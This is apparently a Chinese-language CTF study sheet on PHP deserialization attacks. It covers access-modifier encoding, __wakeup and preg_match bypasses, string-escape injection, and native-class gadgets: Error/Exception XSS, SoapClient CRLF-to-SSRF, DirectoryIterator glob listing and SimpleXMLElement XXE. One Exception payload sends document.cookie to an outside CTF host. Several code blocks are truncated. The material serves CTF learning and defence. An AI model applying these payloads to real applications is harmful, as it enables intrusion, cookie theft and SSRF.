php反序列化
PHP反序列化
三种访问控制的区别
public: 变量名
protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名 或 %00 + * + %00 + 变量名)
private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名 或 %00 + 类名 + %00 + 变量名)
注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)
魔术方法
1 | __construct() #每次创建新对象时先调用此方法 |
绕过
绕过 md5+sha1 验证
判断条件:
1
2
3if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ) {
eval($this->var1);
}传入2个不相等对象,但是他们的
__toString
魔法函数返回的一样,可以绕过 if,且eval转为字符串时我们也使其可以被执行。查找带
__toString
的类,满足的有Exception/ErrorException/Error/ParseError/mysqli_sql_exception
等,以Exception
为例,construct函数为:1
public function __construct($message = "",$code = 0,Throwable $previous = null)
它返回的是一个字符串类型的异常信息,可以控制传入
message
和code
的值不同即可这里需要在同一行,因为_toString返回的信息包含行号
unserialize_callback_func + spl_autoload
在 php manual 里面有一个很有趣的变量配置,如果在反序列化的时候需要实例化一个未定义的类,可以设置回调函数以供调用,最关键的是这个配置是 PHP_IN_ALL 的,所以可以直接通过 ini_set 来设置
注意: unserialize_callback_func 指令
如果在反序列化的时候需要实例化一个未定义类,则可以设置回调函数以供调用(以免得到的是不完整的 object “__PHP_Incomplete_Class”)。可通过 php.ini、ini_set() 或 .htaccess 定义‘unserialize_callback_func’。每次实例化一个未定义类时它都会被调用。若要禁止这个特性,只需置空此设定
可以通过 spl_autoload 来自动加载未定义的类 settings,会默认加载当前目录下,以settings类名为文件名,php 或者 inc 为后缀的文件,这样就和 settings.inc 联系到了一起
spl_autoload — __autoload()函数的默认实现
spl_autoload ( string
$class_name
,string$file_extensions
= ? ) : voidfile_extensions: 在默认情况下,本函数先将类名转换成小写,再在小写的类名后加上 .inc 或 .php 的扩展名作为文件名,然后在所有的包含路径(include paths)中检查是否存在该文件。
绕过 throw new Exception
去掉最后的大括号,利用反序列化报错来防止进入 Exception
GC
a:2:{i:0;O:7:"getflag":{}i:0;N;}
因为反序列化的过程是顺序执行的,所以到第一个属性时,会将
Array[0]
设置为getflag
对象,同时我们又将Array[0]
设置为null
,这样前面的getflag
对象便丢失了引用,就会被GC所捕获,便可以执行__destruct
绕过关键字
PHP序列化中存在序列化类型
S
,相较于小写的s
,大写S
是escaped字符串,会将\xx
形式作为一个16进制字符处理,如:n
的十六进制是6e
,所以把name
替换为\6eame
即可绕过绕过preg_match()
可使用
+
,<
绕过正则,如:O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:<4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
wakeup
PHP5<5.6.25,PHP7 < 7.0.10
可以直接绕wakeup
否则可以利用&共用变量空间
1
$this->password = &$this->token;
Serialize
特性:O
改为C
- 绕过抛出异常阻止_destruct
1 | if(preg_match('/ctfshow/',$cs)){ |
属性值有ctfshow,可以通过破坏属性格式,但是类名正确,依然会执行反序列化析构方法
格式规则
可以在数字前加
+
不影响执行php对类的命名就不检查大小写
属性类型不敏感
在 PHP 7.1 + 的版本中,对属性类型 (public protected private) 不敏感
因为 protected 和 private 反序列化后的结果中含有
%00
,部分题目会禁止这种字符,可在构造 payload 时将属性全部改成 public 来绕过限制
to_string的触发
加上了””的
.
拼接eval
md5
preg_match
die,strlen(),addslashes()等字符串参数
与sql参数绑定
反序列化对象作为class_exist()参数时
在in_array()方法中,第一个参数是反序列化对象,第二个参数数组中有tostring返回的字符串时
字符串逃逸进行反序列化
反序列化的字符数量没有变,这时候依然截取12个字符,可是多出的两个ow不读取,而是去读取后面的2个值
例如我写一个值,把system换成ctfshow的话
"systemsystem",S:.....
->”ctfshowctfsh"ow,S:.....
这时候就读取S:而不是ow
1 |
|
正常情况下反序列化结果 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
如果把username改为peri0dxxx
其处理后的序列化结果为
1 | a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";} |
这个时候肯定会反序列化失败,可以看到 s:9:"peri0dyyyyyy"
比之前多了3个字符
但是如果把密码修改一下,反序列化结果
1 | a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";} |
可以看到需要添加的字符串 ";i:1;s:6:"123456";}
长度为 20
要在 peri0d
后面填充 20
个字符,那么就是
原生类进行反序列化
Error
php7
开启报错
to_string
1 | $a = new Error("<script>alert('xss')</script>"); |
- Exception
php5或7
开启报错
to_string
1 | $poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>"); |
- SoapClient
SOAP
: Simple Object Access Protocol
简单对象访问协议,采用HTTP作为底层通讯协议,XML作为数据传送的格式
正常情况下php 在安装 php-soap 扩展后的SoapClient
类,调用一个不存在的函数,会去调用__call
方法
CRLF漏洞
SOAPAction
处可控,可以把\x0d\x0a
注入到SOAPAction
,POST请求的header就可以被控制
但Content-Type
在SOAPAction
的上面,就无法控制Content-Type
,也就不能控制POST的数据
在header里User-Agent
在Content-Type
前面,user_agent
同样可以注入CRLF
,控制Content-Type
的值
1 |
|
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
Deserialization + __call + SoapClient + CRLF = SSRF
例如:
1 |
|
1 | flag.php |
Payload:
1 |
|
DirectoryIterator
该类是在PHP5中增加的一个类
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件
1
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
SimpleXMLElement
是一个用于解析XML文档中元素的内置类
1
2
3
4
5
6
7public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)设置第三个参数
dataIsURL
为true
就可以实现远程xml文件的导入第二个参数的常量值设置为2即可,第一个参数data就是我们引入外部实体的url
web268-270
1 | <?php |
PHPGGC
从0到1掌握反序列化工具之PHPGGC - 先知社区 (aliyun.com)
实例模板
VulApps/d/drupal/1 at master · Medicean/VulApps (github.com)